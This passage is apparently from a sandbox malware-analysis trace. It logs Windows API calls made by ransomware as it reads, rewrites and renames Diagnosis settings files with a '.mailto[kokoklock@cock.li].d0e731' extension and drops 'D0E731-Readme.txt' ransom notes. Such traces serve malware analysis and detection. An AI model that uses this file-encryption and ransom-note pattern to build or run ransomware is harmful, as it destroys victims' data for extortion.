Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.802] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a510) returned 1 [0074.802] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk", dwFileAttributes=0x20) returned 0 [0074.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6480 [0074.802] wcscpy (in: _Dest=0x33e6480, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" [0074.802] wcscat (in: _Dest=0x33e6480, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\D0E731-Readme.txt" [0074.802] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\d0e731-readme.txt")) returned 0xffffffff [0074.802] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x968 [0074.803] WriteFile (in: hFile=0x968, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1a23f710, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1a23f710*=0x481, lpOverlapped=0x0) returned 1 [0074.804] CloseHandle (hObject=0x968) returned 1 [0074.804] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6480) returned 1 [0074.804] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431e48) returned 1 [0074.804] RtlExitUserThread (Status=0x1) Thread: id = 682 os_tid = 0x1188 [0074.804] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowssq.json")) returned 0x120 [0074.807] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json", dwFileAttributes=0x20) returned 0 [0074.807] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowssq.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.807] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json", dwFileAttributes=0x120) returned 0 [0074.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429838) returned 1 [0074.807] RtlExitUserThread (Status=0x0) Thread: id = 683 os_tid = 0x1190 [0074.808] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json")) returned 0x120 [0074.810] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", dwFileAttributes=0x20) returned 0 [0074.810] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.810] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", dwFileAttributes=0x120) returned 0 [0074.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d208) returned 1 [0074.810] RtlExitUserThread (Status=0x0) Thread: id = 684 os_tid = 0x1070 [0074.811] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json")) returned 0x120 [0074.812] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", dwFileAttributes=0x20) returned 0 [0074.812] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.812] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", dwFileAttributes=0x120) returned 0 [0074.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d348) returned 1 [0074.812] RtlExitUserThread (Status=0x0) Thread: id = 685 os_tid = 0x1074 [0074.813] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json")) returned 0x120 [0074.814] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", dwFileAttributes=0x20) returned 0 [0074.814] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.814] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", dwFileAttributes=0x120) returned 0 [0074.814] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d488) returned 1 [0074.814] RtlExitUserThread (Status=0x0) Thread: id = 686 os_tid = 0x107c [0074.815] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json")) returned 0x120 [0074.816] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json", dwFileAttributes=0x20) returned 0 [0074.816] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.816] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json", dwFileAttributes=0x120) returned 0 [0074.816] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c3c0) returned 1 [0074.816] RtlExitUserThread (Status=0x0) Thread: id = 687 os_tid = 0x1080 [0074.817] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk")) returned 0x20 [0074.817] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk", dwFileAttributes=0x20) returned 1 [0074.817] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x968 [0074.818] GetFileSizeEx (in: hFile=0x968, lpFileSize=0x1a53ff24 | out: lpFileSize=0x1a53ff24*=1663) returned 1 [0074.818] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x67b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.818] ReadFile (in: hFile=0x968, lpBuffer=0x1a53fef8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1a53fef4, lpOverlapped=0x0 | out: lpBuffer=0x1a53fef8*, lpNumberOfBytesRead=0x1a53fef4*=0x4, lpOverlapped=0x0) returned 1 [0074.819] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34791d8 [0074.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e68 [0074.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479110 [0074.819] NtQuerySystemTime (in: CurrentTime=0x1a53fed0 | out: CurrentTime=0x1a53fed0*=132121176327074185) returned 0x0 [0074.819] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0xfd32096 [0074.819] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x87fb6e99 [0074.819] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x69bb1af1 [0074.819] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x64206aa0 [0074.819] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x1b260be5 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x90fbb355 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x4fb603fd [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0xfd25ac80 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x2f088dfb [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0xa1b8a522 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x4b4d0e11 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x218cc17d [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0xac4662d8 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0xefa5b4f2 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x7fdc4447 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0xdc070eec [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0xf095d682 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x147fc038 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x83aaba1f [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x68ba76ae [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x63da3c58 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0xbdb6fbb7 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0xae1fe042 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x6d961b95 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x64a5ffff [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x53c82818 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0xaf85a22d [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x93a46f6a [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x30909d30 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0x60c8ea34 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0xecc2fe20 [0074.820] RtlRandom (in: Seed=0x1a53fedc | out: Seed=0x1a53fedc) returned 0xebdee791 [0074.831] ReadFile (in: hFile=0x968, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x67f, lpNumberOfBytesRead=0x1a53fed0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1a53fed0*=0x67f, lpOverlapped=0x0) returned 1 [0074.831] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1a53fe98 | out: lpNewFilePointer=0x0) returned 1 [0074.831] WriteFile (in: hFile=0x968, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x67f, lpNumberOfBytesWritten=0x1a53fecc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1a53fecc*=0x67f, lpOverlapped=0x0) returned 1 [0074.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479250 [0074.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478df0 [0074.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478df0) returned 1 [0074.832] WriteFile (in: hFile=0x968, lpBuffer=0x3479250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1a53fec8, lpOverlapped=0x0 | out: lpBuffer=0x3479250*, lpNumberOfBytesWritten=0x1a53fec8*=0x20, lpOverlapped=0x0) returned 1 [0074.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479250) returned 1 [0074.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0074.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd790) returned 1 [0074.832] WriteFile (in: hFile=0x968, lpBuffer=0x3479048*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1a53fef4, lpOverlapped=0x0 | out: lpBuffer=0x3479048*, lpNumberOfBytesWritten=0x1a53fef4*=0x8, lpOverlapped=0x0) returned 1 [0074.832] WriteFile (in: hFile=0x968, lpBuffer=0x1a53ff0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1a53fef4, lpOverlapped=0x0 | out: lpBuffer=0x1a53ff0c*, lpNumberOfBytesWritten=0x1a53fef4*=0x4, lpOverlapped=0x0) returned 1 [0074.832] WriteFile (in: hFile=0x968, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1a53fef4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1a53fef4*=0x4, lpOverlapped=0x0) returned 1 [0074.832] WriteFile (in: hFile=0x968, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1a53fef4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1a53fef4*=0x6c, lpOverlapped=0x0) returned 1 [0074.832] WriteFile (in: hFile=0x968, lpBuffer=0x3478e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1a53fef4, lpOverlapped=0x0 | out: lpBuffer=0x3478e68*, lpNumberOfBytesWritten=0x1a53fef4*=0x20, lpOverlapped=0x0) returned 1 [0074.832] WriteFile (in: hFile=0x968, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1a53fef4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1a53fef4*=0x4, lpOverlapped=0x0) returned 1 [0074.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0074.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ff8) returned 1 [0074.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0074.832] CloseHandle (hObject=0x968) returned 1 [0074.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd6) returned 0x347ab80 [0074.833] wcscpy (in: _Dest=0x347ab80, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" [0074.833] wcscat (in: _Dest=0x347ab80, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk.mailto[kokoklock@cock.li].d0e731" [0074.833] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.833] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ab80) returned 1 [0074.834] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk", dwFileAttributes=0x20) returned 0 [0074.834] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6330 [0074.834] wcscpy (in: _Dest=0x33e6330, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" [0074.834] wcscat (in: _Dest=0x33e6330, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\D0E731-Readme.txt" [0074.834] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\d0e731-readme.txt")) returned 0x20 [0074.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0074.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ea9b0) returned 1 [0074.834] RtlExitUserThread (Status=0x1) Thread: id = 688 os_tid = 0xd14 [0074.835] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.cert.json")) returned 0x120 [0074.835] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json", dwFileAttributes=0x20) returned 0 [0074.836] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.cert.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.836] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json", dwFileAttributes=0x120) returned 0 [0074.836] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bad8) returned 1 [0074.836] RtlExitUserThread (Status=0x0) Thread: id = 689 os_tid = 0xd00 [0074.837] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox")) returned 0x20 [0074.838] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox", dwFileAttributes=0x20) returned 1 [0074.839] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x968 [0074.839] GetFileSizeEx (in: hFile=0x968, lpFileSize=0x1a63f9cc | out: lpFileSize=0x1a63f9cc*=2512) returned 1 [0074.839] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x9cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.839] ReadFile (in: hFile=0x968, lpBuffer=0x1a63f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1a63f99c, lpOverlapped=0x0 | out: lpBuffer=0x1a63f9a0*, lpNumberOfBytesRead=0x1a63f99c*=0x4, lpOverlapped=0x0) returned 1 [0074.840] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34791d8 [0074.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e68 [0074.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479138 [0074.841] NtQuerySystemTime (in: CurrentTime=0x1a63f978 | out: CurrentTime=0x1a63f978*=132121176327378925) returned 0x0 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xe367518d [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xc85297c2 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xf4e8e317 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xc81d26a6 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x1e0225c4 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x578a21b3 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xdf640b6c [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x9cef5699 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x879b904 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x9632eb46 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xa34592af [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xeff5790b [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x631b93d [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x9265e26e [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xdd28bfe [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x6958234f [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x2b231950 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xaa3bf03e [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xbc9a69fd [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x27ff2358 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xa99ff64c [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xd57ae132 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x49d2d71d [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xd57f3121 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 